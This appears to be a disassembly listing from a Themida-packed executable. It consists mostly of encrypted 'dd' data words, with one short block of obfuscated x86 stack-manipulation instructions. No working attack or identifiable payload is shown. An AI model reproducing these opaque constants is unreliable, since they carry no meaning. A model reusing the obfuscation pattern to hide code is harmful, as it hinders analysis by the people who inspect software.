dword_5A0300	dd 8DF635F6h, 0A5115B2h, 0DB570D92h, 845A4A44h,	0CBCC6FBFh
					; DATA XREF: Themida_:0053E4A4o
		dd 283548FFh, 0E25A16CCh, 25221331h, 14E80ADEh,	7D000000h
		dd 7CA2A827h, 675EBB1Ch, 0D2258A18h, 0B3D71224h, 60A579D4h
		dd 0BDABBF60h, 0BF0F57F6h, 5A6161D8h, 0B820Fh, 880F0000h
		dd 5, 2B7B02B9h, 8EC2812Dh, 50000072h, 0C108B966h, 0E59EBE58h
		dd 0C6814389h, 0BC7636D1h, 0AE9h, 0DF687B00h, 155A86B4h
		dd 8BCCFECCh, 0D380563Ah, 0EF8159D9h, 140CE5h, 0F23AF781h
		dd 12E841CCh, 35000000h, 88F17311h, 89D623D1h, 3E8760Dh
		dd 5410ECD3h, 5920B0CAh, 882FC781h, 0B86676EBh,	3A893223h
		dd 0AAAEBB66h, 2CD4EA81h, 0BB6659DFh, 0C2813DE1h, 59DF2CD0h
		dd 13E9FC60h, 0FE000000h, 132CA4Eh, 0C6A38BF4h,	0EF065117h
		dd 9CC805ACh, 8161B976h, 1EEh, 8C850F00h, 0E9FFFFFFh, 5
		dd 4E8720FFh, 8EB11h, 10000000h, 0E954343Dh, 50Dh, 23439068h
		dd 3D4CE906h, 1868FFFAh, 0E9062344h, 0FFFA3D42h, 23456D68h
		dd 3D38E906h, 0A496FFFAh, 0A68D26D0h, 0B67F18C2h, 0C1730CB6h
		dd 0D264FDA7h, 0BB78F09Ah, 50FA72C4h, 46F080B7h, 3BE58BADh
		dd 2BD59FA2h, 8D21B345h, 1E2361E4h, 221431B8h, 64DD9A4Ah
		dd 0A60F9F31h, 0EB9C2542h, 53AA3D1Ah, 2F1A3C37h, 1BF65425h
		dd 0E993E160h, 0C7771D2Bh, 45E0B035h, 7BBB781Fh, 9093F1h
		dd 0A19C5E6Eh, 9E2EC0DCh, 2BDCA19Ch, 0F3C4757Ah, 0AAB0AE43h
		dd 9E68AADh, 6B00A538h,	41EB7609h, 5CAEF184h, 79323FEh
		dd 9DCA178h, 0C0EA9B7Fh, 77ED1CE2h, 2EEh, 95FD08D0h, 9F31E187h
		dd 1F45AB6Eh, 2DB90CBDh, 33BF6514h, 621276C4h, 2B45F3B0h
		dd 0CCA4934Eh, 0DE0F9DFBh, 0EDE338C9h, 0AD8AE652h, 4E2E0BDCh
		dd 57EC9CF8h, 8D1F7553h, 0D322B979h, 0B446D98Ah, 8F3D9BEDh
		dd 254F62FDh, 18C879E9h, 0EFC0D466h, 20D1D501h,	0A56214C2h
		dd 0D49DC90h, 50C87E85h, 0E958116Fh, 0F948E18Bh, 14507BB9h
		dd 845596BAh, 7D69A211h, 9A883E4h, 2FDh, 14BEB684h, 6B0B87Bh
		dd 0FAA4C86Dh, 0EB95D361h, 0DE88E452h, 84B28966h, 92A53EE8h
		dd 9D9B34DEh, 0B19029D3h, 0A13319C3h, 61E5FF0Fh, 1FA60C23h
		dd 9BD5621Fh, 0B18FEDBEh, 8620139Bh, 0CA874AFEh, 5D2EFF0Ch
		dd 0C8301BADh, 0B6671F23h, 7FED4906h, 482412CFh, 8DA942EAh
		dd 95284CF5h, 61B886CFh, 1EFBCC87h, 0B816D96Eh,	6951C0F5h
		dd 6A667D0Bh, 82BF3135h, 90A2EF30h, 7C4D1BA2h, 0E37B9409h
		dd 3BDAB5DAh, 275h, 8C363EFCh, 7E2840F3h, 721C50E5h, 630D5BD9h
		dd 56006CCAh, 0C2A01DEh, 1A1DB660h, 2513AC56h, 3908A14Bh
		dd 19AB913Bh, 61E27787h, 971E8423h, 96D2621Fh, 0AC8AE8B9h
		dd 0B84AFA9Eh, 1F23649Fh, 0E6765304h, 0DC9E1BD2h, 3D48D25Ch
		dd 0ED2385B3h, 195CAh, 2D142300h, 92AF6A47h, 0EE8032E2h
		dd 2542A6DEh, 9CA73AEBh, 4D0EF32Bh, 0EFAD55B3h,	85E35159h
		dd 0FF7204B4h, 0D41F4593h, 5CDE7323h, 521C2104h, 0EA789225h
		dd 20EA85D5h, 4357E7C2h, 9ADCA121h, 1C4CE79Bh, 0C09D6E3Fh
		dd 5F3C3005h, 0B8B66408h, 1B74A630h, 3694D85Eh,	1CBF6C7Eh
		dd 1F14D1EDh, 0BB98D85Fh, 6B3C19EAh, 42990Dh, 0EFF20000h
		dd 0F98B3B59h, 1F45A580h, 0B26213h, 0A0595E6Eh,	0ED83B5DCh
		dd 0FED937E8h, 0A0595A6Eh, 0C05AE4DCh, 1DC32BC5h, 0D85B18EDh
		dd 6320B390h, 3DC42CEAh, 160B9E6Fh, 0EECF9DFh, 8B73E745h
		dd 0CC000000h, 6A472D14h, 667608BAh, 732542A6h,	34115FD8h
		dd 7B349263h, 19D4B1BBh, 0B46F4C28h, 0CF3DE78Dh, 2542A311h
		dd 74F83EFBh, 90E45D16h, 761228E6h, 3E2A09C6h, 0EEA032E0h
		dd 43E0B7B8h, 1125E292h, 1E18B15Bh, 7950DB4Eh, 0FED9DAE0h
		dd 1205Fh, 0E193A700h, 0D3959E37h, 0C7A59029h, 0B8B0841Dh
		dd 0ABC1750Eh, 0D5AA8901h, 0C8610B61h, 0BE57016Fh, 0B34CF67Ah
		dd 563CE68Eh, 0E3A232C4h, 0C92F2361h, 4A221442h, 3A3A07A0h
		dd 2D140990h, 92AF6A47h, 0AC7A38E2h, 0C2763DEh,	0DDAE8B5Ch
		dd 0C7CA5C0Ch, 4C1F455Ah, 82EEB9Bh, 0BC4CBA64h,	9ADCA015h
		dd 154656E8h, 0A253DCA0h, 0BEB68B44h, 88E4510Eh, 982ADAABh
		dd 0DCA01504h, 0DE86E495h, 0C9A39350h, 4BD1BECh, 0BE5D3A32h
		dd 95h,	7DFF7D12h, 7A19D788h, 59EF751Ch, 52F98B3Bh, 491F2364h
		dd 82BE898h, 6C270260h,	5CF59FD5h, 2B28FE5h, 25353E6Dh
		dd 3B999770h, 93D5CFADh, 1A9E8Ah, 6ACDBD84h, 84EC4B06h
		dd 5B05D6A7h, 9B8F38CDh, 0E49D59E0h, 2174CD86h,	9FB208Ch
		dd 6DFD8054h, 8286B659h, 3AFEB96Ah, 0CD886536h,	4F211767h
		dd 0A64AA17Eh, 43311074h, 49410099h, 0CFAC7DEBh, 0CBDB6D1Fh
		dd 228286B6h, 0AB7C5913h, 0FA97F5A6h, 0Dh, 0FDAF5D55h
		dd 42A65B6Bh, 59B76825h, 4E2614B2h, 0E98BB671h,	89E7510Ch
		dd 2A46F1ACh, 0C8A4924Dh, 660630EBh, 266CE89h, 0A1CB6A25h
		dd 3E2A09C4h, 0F7689C61h, 89000009h, 0E189240Ch, 4C181h
		dd 0E9830000h, 240C8704h, 0E189515Ch, 4C181h, 0E9810000h
		dd 4, 5C240C87h
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ebp, 24A20B48h
		shl	ebp, 2
		add	ebp, 0FFFFFFFFh
		sub	ebp, 0BF6217Ch
		and	ebp, 38D07767h
		xor	ebp, 10503B01h
		sub	ebp, 0A9CF5A4h
		push	433Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	3BBDh
		mov	[esp], ebp
		xor	dword ptr [esp], 37806A73h
		pop	dword ptr [ecx+8]
		xor	dword ptr [ecx+8], 37806A73h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544162
; ---------------------------------------------------------------------------
		dw 0AD5Bh
		dd 8D3EF53Eh, 46B2B816h, 0C5030623h, 0D454E0FFh, 0E4515540h
		dd 29A545BBh, 91995EE0h, 1C7817FEh, 0C2634D25h,	860420D6h
		dd 3BFE1DD9h, 0C7B47D0Ch, 42977A76h, 0F26C3600h, 0D72A4E2Dh
		dd 0DE82729h, 26000000h, 0C615749Ch, 0DA213421h, 43D7A225h
		dd 5A5DDC80h, 8AE1E081h, 0C28161C4h, 6F7Ah, 0BE9h, 0BA902900h
		dd 0E034FA1Ah, 0F70CFF1Ch, 0B9h, 25CF8100h, 8B1A3CD8h
		dd 66560A34h, 815BC78Bh, 6B322FF6h, 8CC68102h, 515818EAh
		dd 0E6E2BF66h, 0D1F6815Fh, 0E91D618Ch, 6, 30618397h, 0FC56A2CFh
		dd 660A048Fh, 0E981C78Bh, 609C2034h, 0DF8B6652h, 30C1815Bh
		dd 81609C20h, 0A65329F0h, 10F98175h, 0FFFFF91h,	0FFFFAA85h
		dd 0D78D8DFFh, 6A062348h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0C3BDC353h,	0D18D891Ch
		dd 6A061D20h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0E2A7C357h, 8AECD4F8h,	1D85C7DCh
		dd 10061D33h, 3300006Dh, 1D180995h, 0F985C706h,	61D2Bh
		dd 0F5000000h, 2B31B5FFh, 6A061Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 109E35C3h, 0FE8BEE81h
		dd 95FF1CB6h, 61D1519h,	95FF006Ah, 61D1209h, 0BEBC08Bh
		dd 4F20B774h, 0F14443E4h, 53061DBBh, 5DB13EE8h,	0ACF23256h
		dd 55F201EEh, 0ABB13256h, 0D5B13256h, 0EAE80E35h, 75EB9604h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13254h, 57B83581h, 0ABBD3255h, 0D5B93254h, 0E9EA3252h
		dd 77F63256h, 0B8F63256h, 5DB1F27Dh, 5A763256h,	37D2A04Bh
		dd 270EEC4Fh, 0D3586283h, 5CB13256h, 373C16E1h,	0E2EBA405h
		dd 5DBEDB06h, 0F68A3256h, 53A6A4E7h, 0DB0210BBh, 49BE5CBFh
		dd 926AA1F3h, 51068407h, 2AE270DBh, 0E11EBCDFh,	0CFD06C13h
		dd 0E0BE5206h, 42E36291h, 0D5B13242h, 51FB87BAh, 0E2A7038Eh
		dd 89135FD2h, 0D25F5BA6h, 54B174Ah, 5E10359h, 0F3EB0359h
		dd 5ED06A0Ch, 0BAB51612h, 75B4DB04h, 24683256h,	52247E29h
		dd 0FEE36267h, 0D803D04h, 42803D0Eh, 0D5B1325Eh, 85FF7B06h
		dd 0FEEB372Ah, 0E2EB6A0Ch, 0FE132DDh, 0C8EE6436h, 58D0CCDDh
		dd 422D5267h, 0D5B1325Ah, 19D31F12h, 3A1F1BE6h,	0D10BD78Ah
		dd 5DB134BFh, 0DAF6B456h, 0CA5220CBh, 188A0DEFh, 8DEB5353h
		dd 0EE9576DFh, 7358AE36h, 8CB13256h, 9FBC9661h,	0A058B285h
		dd 57B126BFh, 0B1740E56h, 33F01A1Dh, 98CCE671h,	0CBC87295h
		dd 70845E49h, 5658AF6Dh, 0B9B13256h, 0E493DF52h, 0A4DFDB26h
		dd 8DD097CAh, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h, 7EFA94BCh
		dd 1934BF50h, 0DEB7102Ch, 88F9CED4h, 7333BF50h,	63B711B4h
		dd 56F832D4h, 0B3FFDA50h, 26593256h, 69B13256h,	74F9DED4h
		dd 0ABB13250h, 50776056h, 0ECAC2973h, 0CDE35A00h, 0F4EAEFEh
		dd 5BAC2A53h, 0D94EB7DBh, 874E3476h, 82ECB7DFh,	0D1DB344Bh
		dd 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h, 27824696h
		dd 74F9DED4h, 5B33BB50h, 6CB7111Eh, 0EAB23F16h,	0B582CADDh
		dd 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h, 0F623CD56h
		dd 8FB72F7Fh, 0A3F1B0DFh, 0FED03475h, 99F9DED3h, 9AD1F150h
		dd 0B3ABDFD4h, 17B13250h, 6A33F556h, 0D5B72F7Ch, 8BB13246h
		dd 0CF3A5295h, 0BC927ABAh, 29B10DD5h, 0BECEB175h, 0D4BA4654h
		dd 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h, 7D43D956h
		dd 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh, 8FB13256h
		dd 0A62AD8D7h, 0C73A3475h, 0BC927B12h, 0D4B977DDh, 0EA33B150h
		dd 53B7111Fh, 0AF73FB37h, 0D5595256h, 0B0B13256h, 390ED8D7h
		dd 83A3475h, 5B927B16h,	0E7F5806Dh, 6CC53475h, 743A0CDDh
		dd 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh, 0D83A7115h
		dd 0A8AC1CB3h, 46C4BFDDh, 738A344Bh, 0C8A3B24h,	2C323721h
		dd 4E78D952h, 33B94699h, 40A047EBh, 0CF06D950h,	57595295h
		dd 0F1B13256h, 98A6D8D7h, 503A3475h, 73927B16h,	0BAB032EFh
		dd 0AE710156h, 0EE33B9FDh, 0DEB7111Fh, 88F876D4h, 0B5725350h
		dd 0EAB132BEh, 9F306856h, 0BC927F17h, 4694B790h, 0C6E7344Bh
		dd 83AE5F6Fh, 0B3B487A9h, 503C344Bh, 0EC9145A9h, 25E3E2A9h
		dd 0BA31323Eh, 0A2B15856h, 8DF9DEE4h, 0F61CD50h, 2BB15A0Ch
		dd 0D5DB3256h, 0A3F180A9h, 0A54E3475h, 31E4F137h, 5D5952BAh
		dd 0F4B13256h, 1A3ED8D7h, 0DE3A3475h, 0D729DA5Eh, 15E43256h
		dd 56F9CEC4h, 0CF8A6F50h, 0B55F475Ah, 0AEB130D0h, 5F73FB37h
		dd 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h,	0F772D8D7h
		dd 283A3475h, 0BECCB95Eh, 60596401h, 0A0B13256h, 5E904696h
		dd 784E67AEh, 73927AAAh, 0B6C4090Bh, 0D6D72022h, 5E56B248h
		dd 0B4312CDCh, 0AD2CDAA6h, 15A3256h, 24D4FDFh, 8A4ECC0Bh
		dd 31EF6D0Dh, 9F78CE13h, 25E4325Ah, 0AF75B1BAh,	0F8E06401h
		dd 0D5497791h, 2DB13256h, 56F81ED4h, 0BAB13350h, 55C4B956h
		dd 25AFB930h, 74F9DEECh, 0A3EEB950h, 0DAC5E95Dh, 0ECC4EC6Dh
		dd 0FCBD6FDDh, 7D323E09h, 3B5BD942h, 55312CDDh,	99353DBEh
		dd 2BB13256h, 51BEDBADh, 0EAB13293h, 7A5AC9D6h,	0BAB18ED2h
		dd 0BF4AB256h, 0AE1DB659h, 0AC313256h, 31353DB5h, 0B3B13256h
		dd 9D6C9D7h, 7529B659h,	5D313256h, 0A63054A6h, 2ABEB259h
		dd 57B132C7h, 2B41D1D6h, 51BE42ADh, 0EAB132D3h,	0F5AFB930h
		dd 4131CAB5h, 0DDF346EEh, 93C53768h, 239C0CD6h,	0C38FB26Eh
		dd 574E0122h, 0EC927B7Ah, 0F5AFB930h, 3BD7CAB1h, 2959B3ADh
		dd 0B03A5476h, 3141D5D6h, 6B30C9D7h, 80D12122h,	0A24DA0A9h
		dd 0FCEC3475h, 39D0CE13h, 28B0CE2Bh, 430BB935h,	7B72F4Ch
		dd 0E29DB0DDh, 0E9883475h, 0BAC36A66h, 5F7088DDh, 31E1344Bh
		dd 7EF81ED4h, 9E8D0B50h, 0BC8C4D0Eh, 53F4F546h,	0D5B13254h
		dd 0AF7635BDh, 75B133AEh, 560BB956h, 0D6B7111Eh, 0DA6A3949h
		dd 226F0949h, 0A7ECB959h, 0D5494FD5h, 0B7B23122h, 71EEBBAEh
		dd 51A5F5D5h, 0B47101B4h, 0AEB13296h, 0DCAFB930h, 50313E2Bh
		dd 55BB46BDh, 1131C2B5h, 9EA74626h, 53B6F464h
		dd 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh,	0D2765456h
		dd 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h, 0AEB13256h
		dd 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h, 13BF47C6h
		dd 2A4E4CD7h, 0B6B346C6h, 4576B952h, 1F33BF09h,	0FBB7111Fh
		dd 0D523CD00h, 0E1B7111Fh, 0FEBB4696h, 0F203BF9Eh, 0B6B7111Fh
		dd 603A6446h, 0AB23CD03h, 0F6B7111Eh, 0C46FC7Dh, 12CCB108h
		dd 0C5A14757h, 2D7981Fh, 0F6D7B759h, 0AFF78459h, 0D4AAD9FDh
		dd 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh, 0FC073DFDh
		dd 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh, 0B55DB903h
		dd 0EAB132BEh, 9F306856h, 0BC926277h, 0D4B977DDh, 8DF9C6D4h
		dd 95785350h, 20E43252h, 2D75B1BAh, 0EAB1DA36h,	0F4EB3256h
		dd 99E170BCh, 0A5F4F550h, 0AEB13256h, 574D7791h, 98B13256h
		dd 0CB3A5496h, 0A39DB091h, 75B03475h, 3BD73256h, 2821A2ADh
		dd 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh, 0EAB132A8h
		dd 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h, 58313DADh
		dd 0ABB1D7D2h, 64333156h, 0AAB72F7Ah, 7A53C9D6h, 0BAB1FCD2h
		dd 0BE4AB256h, 0AE0DB659h, 0D6D73256h, 0A45255ADh, 0D5B188D2h
		dd 1A52B256h, 7AC1C9D6h, 0BAB187D2h, 433A5456h,	2E49D1D6h
		dd 10C58AADh, 0DFB40CD6h, 0F88FB214h, 0D4310F22h, 3589463Eh
		dd 0F39DB0A9h, 0D6D73475h, 5656B248h, 0D64AB330h, 0CD9546BEh
		dd 32312CDDh, 113054A6h, 62C5F2D7h, 284E6736h, 5B927AAAh
		dd 52F4BB0Bh, 0ABCCB137h, 83343D57h, 5EB13257h,	0F7ABDFECh
		dd 0F73A6250h, 0BC927B7Ah, 5810E6Fh, 0AFA0B059h, 0ED3A3256h
		dd 0ADAC1897h, 0F933B906h, 0D3B7111Fh, 7AE9026Ah, 0BAB1C8D9h
		dd 0AD0BB956h, 2DB7111Eh, 74F9C2D4h, 9C382650h,	85A175DFh
		dd 0A39DB0DDh, 693A3475h, 0E5386A66h, 5D64DB5Eh, 0EB763256h
		dd 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h,	73927AA6h
		dd 0F241B0D5h, 0D4A53475h, 0BEF6BB61h, 22B2CAD5h, 8733F55Ah
		dd 0D7B7111Fh, 1B13256h, 7749B153h, 0C7326D2Bh,	46C532AEh
		dd 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh
		dd 9D323256h, 0E9BAD953h, 149DA8DDh, 0AA3A3475h, 57186965h
		dd 0DE313256h, 56773142h, 68B23796h, 73927B7Ah,	0B2F6BB1Eh
		dd 0B6BD75DFh, 8569C500h, 0D469C590h, 29B23796h, 0D3927B7Ah
		dd 0E2F6BB1Eh, 9EBD75DFh, 30710168h, 0DD193310h, 68B21323h
		dd 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh, 6A2CA8DCh, 96313474h
		dd 33723157h, 1A383A11h, 59A5D95Ah, 574E178Eh, 6D9A3256h
		dd 1532EAA1h, 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h, 9932DEDDh
		dd 0AE5952AAh, 0DB13256h, 0F9E2D8D7h, 6F3A3475h, 0EC927ABAh
		dd 4A32FB65h, 78353D56h, 0D6B13256h, 0A2C4CD51h, 7B947A9h
		dd 0ABB041BEh, 56B44156h, 85A2691h, 8A4D77DFh, 0CF4E3E23h
		dd 0B586CD5Eh, 0AEB1330Ah, 5726B059h, 0EE3A3256h, 0DAB60BAAh
		dd 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h, 22323A22h, 0ACC5325Ah
		dd 0A8093CBDh, 124ECDA9h, 0D5B13253h, 295A99A5h, 70A14DD5h
		dd 0C5323D22h, 4CC43446h, 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h
		dd 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h, 59E6B904h
		dd 0ADA1677Dh, 83A2603h, 286B195Ah, 3EEB37BDh, 0EEF6B944h
		dd 5EBD6DDDh, 51323609h, 0CC3B3153h, 2DB72F78h,	22B22229h
		dd 729A7357h, 0D4B06EDFh, 154ECDEEh, 75B48BA9h,	11423256h
		dd 0A24E64BFh, 6C7853A9h, 0DCE43246h, 5775B1BAh, 0D5B1DA36h
		dd 6BEB3256h, 56E20CBCh, 560BB950h, 6EB7111Eh, 0AE8EB19Fh
		dd 5720B659h, 0AC3A3256h, 2ABD47A9h, 2E13A23h, 75B132DEh
		dd 7D323725h, 0D453D942h, 0DB4ECE13h, 5FC4CD5Ah, 0DA5905A9h
		dd 0A7B13256h, 16F4B93Ch, 16C3356Fh, 394D77A9h,	29B13629h
		dd 0A2CEB15Eh, 0BCB34656h, 544E8A58h, 0D008CDA9h, 19B13256h
		dd 0F67AD9FDh, 0CEB42229h, 4DCEB159h, 0EFA04750h, 0DCB575DDh
		dd 0B65A3E09h, 5EB575DDh, 0F95A3E09h, 0FEB575DDh, 0E59A3E09h
		dd 585AB152h, 0ADA14DD5h, 7CF03323h, 0AAEDBB8Fh, 2A4E8A57h
		dd 0EF08CDA9h, 86B13256h, 0DB36D9FDh, 5DB9F09Fh, 0CE5DB903h
		dd 6CB977DDh, 0A3C33E13h, 0A2A1776Dh, 0E95ACA55h, 14B1D9AFh
		dd 0BABDF09Fh, 0DE5DB903h, 46D1CE92h, 57B13256h, 0BF5BB30Ch
		dd 0E6B71102h, 636A019Fh, 0CF3ACE0Bh, 0BC927ABAh, 29B10DD5h
		dd 518EB132h, 90323723h, 2840D942h, 0A1B13629h,	0E6CEB15Eh
		dd 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h, 0BECEB18Dh, 0D4BE4653h
		dd 0DEB72229h, 923A7347h, 0E6EEB952h, 323A2FBDh, 0B6EEB952h
		dd 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh, 0D43237BDh, 0D4C43146h
		dd 63681917h, 0CDB0330Ah, 454ECDA9h, 5DB137EFh,	451AC156h
		dd 123A53C1h, 0FB72FBAAh, 0D5596107h, 0B0B13256h, 212ED8D7h
		dd 203C3475h, 5B927B52h, 0AEB156EEh, 5763DA56h,	0A03A3256h
		dd 0C15AF36Dh, 0D1B57955h, 76A64097h, 7B8A221Dh, 5F5A3024h
		dd 0BC5A26BDh, 8689A8DBh, 784E3475h, 4F3C3ABDh,	0EC92E608h
		dd 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh, 2FEB3256h, 74E5DCBCh
		dd 113C5250h, 0D3927B52h, 63B977DDh, 79F4B951h,	31B575DFh
		dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 0F034F436h
		dd 0ADB72F4Dh, 62C2283Eh, 0BF04CDFEh, 0D0B72F4Eh, 8EC6CDD3h
		dd 561CD50h, 0E281B8DBh, 2AE03475h, 683C6886h, 73927B66h
		dd 0B6F18559h, 52E3EADDh, 6DB26867h, 4160B0DFh,	0C3D0344Bh
		dd 0E85251h, 5A000000h,	555FEA81h, 8B520623h, 1D16D182h
		dd 4E6DB906h, 0E1F741C6h, 3039055Ah, 0FF250000h, 897FFFFFh
		dd 1D16D182h, 0C3595A06h, 0E85251h, 5A000000h, 558FEA81h
		dd 0C88B0623h, 0FFFFBBE8h, 0F7D233FFh, 5AC28BF1h, 0C08BC359h
		dd 858DC08Bh, 6234BA0h,	8B66D0FFh, 58858DC1h, 89062355h
		dd 1D2E5585h, 88858D06h, 89062355h, 1D0BE185h, 0B806h
		dd 0C00B0000h, 47840Fh,	85C60000h, 61D1B25h, 30DF6856h
		dd 0B5FFA9C5h, 61D1805h, 77FF858Dh, 0D0FF0620h,	0AD8D8D50h
		dd 51061D1Fh, 68046Ah, 0FF000010h, 1D0171B5h, 8BD0FF06h
		dd 1D0171BDh, 3C7F0306h, 0F8C781h, 47C70000h, 2024h, 0D99D8D60h
		dd 8B061D17h, 0FC00B03h, 584h, 89008B00h, 0F6B90443h, 8D00234Ch
		dd 2356F98Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 4D17BF71h, 74B773E8h, 20D18D89h
		dd 85C7061Dh, 61D331Dh,	7218h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 6FC35343h, 81664197h, 0C7E221E8h
		dd 1D2BF985h, 6, 599D8B00h, 53061D00h, 5B44F680h, 1335B5FFh
		dd 10E9061Dh, 45000000h, 1F3FABB5h, 0C2218C9Fh,	0D2FB09AEh
		dd 0FFE5CC2Ah, 1D151995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 6204C7B7h
		dd 0E5CF89D8h, 6A329Fh,	120995FFh, 0C08B061Dh, 77401DEBh
		dd 0C0167EB4h, 9208C5F2h, 2EE2B5E2h, 0BB5088BAh, 794AF562h
		dd 62E16383h, 0E81D4593h, 10h, 72BA388Bh, 0B1546DB8h, 0F064D042h
		dd 0C480EC5h, 0DC47CF81h, 895B65F8h, 1D30199Dh,	15C38106h
		dd 0F00006Ch, 68D3B7h, 60000000h, 89D3B70Fh, 1D2ABD8Dh
		dd 8B5E6106h, 1E34FFFBh, 9D8959FCh, 61D2FC5h, 8B3EC181h
		dd 8B6631C0h, 0DEE981C1h, 8957D6EDh, 1D0879BDh,	0C2E98106h
		dd 0F54C4BD1h, 0A7C28151h, 8F0CEDB0h, 0D0813304h, 12D815CAh
		dd 0D950EE81h, 0F48039BDh, 4CC681D0h, 8139BDD9h, 0FF94A0FEh
		dd 18850FFFh, 0E9000000h, 29h, 66D9007Dh, 1232F55Ah, 0F245A645h
		dd 0C3BF6198h, 0F98DC2E6h, 0FFFF90E9h, 0C55F5DFFh, 5A413953h
		dd 8E54C416h, 9308CC5Fh, 8EB2Bh, 7D000000h, 0E96EA739h
		dd 47Dh, 2358E168h, 27C4E906h, 5E68FFFAh, 0E9062359h, 0FFFA27BAh
		dd 235A9968h, 27B0E906h, 2C0EFFFAh, 2E059E48h, 3EF7903Ah
		dd 49EB842Eh, 5ADC751Fh, 33F06812h, 0C872FA3Ch,	0BE68082Fh
		dd 0B35D1325h, 0A34D271Ah, 5992BBDh, 962361FEh,	2214A930h
		dd 8FB26D4Ah, 0AF7D3BE5h, 0AA6719C9h, 4803E08Ch, 0CD9E7BF9h
		dd 0ED109EFCh, 0FE1F45A1h, 0C8E0704Dh, 56DCA05Fh, 0B5374ECCh
		dd 0C4ED1DC5h, 2C0h, 0D3621F1Dh, 8DEBBC99h, 0C755BDC8h
		dd 234F1A1h, 0CBC8D6Ah,	42A66A7Ah, 68C67725h, 0ABF528BAh
		dd 95461F45h, 5D0B28E5h, 4502AEFFh, 8D1B79EFh, 33BF65F4h
		dd 0AE881624h, 3F10E1BEh, 0C8C8FD8Fh, 2ADBE338h, 0DADF6D4Dh
		dd 22CAB448h, 0C39445D3h, 0A0E68113h, 4CFDE925h, 62DEA9Ch
		dd 0F64B0462h, 63BD47Eh, 97E9FD8Fh, 49FAD501h, 9B0E0578h
		dd 542FE47Dh, 2F8B5h, 6D073300h, 5F092AC3h, 53191CB5h
		dd 442410A9h, 3735019Ah, 6156158Dh, 54ED97D5h, 4AE38DE3h
		dd 3FD882EEh, 0E2C87202h, 0FE2EBE50h, 55BB2361h, 3B59EFCEh
		dd 70D6F98Bh, 3DCD1F23h, 9E0E1BABh, 26F7A8DCh, 57DB976h
		dd 0F98B3B31h, 0DC9E0EE5h, 0CA7445F6h, 0E4F88A3Ch, 0F5DC9E0Eh
		dd 92DE644h, 0E9F68663h, 433134A0h, 4BFB186h, 24DD3B31h
		dd 0E7E4571Dh, 48DAE423h, 27BCE6Dh, 84B60000h, 86AD46F0h
		dd 969F38E2h, 0A1932CD6h, 0B2841DC7h, 0DB9810BAh, 701A52E4h
		dd 661060D7h, 5B056BCDh, 4BF57FC2h, 0AD41D365h,	3E2361FFh
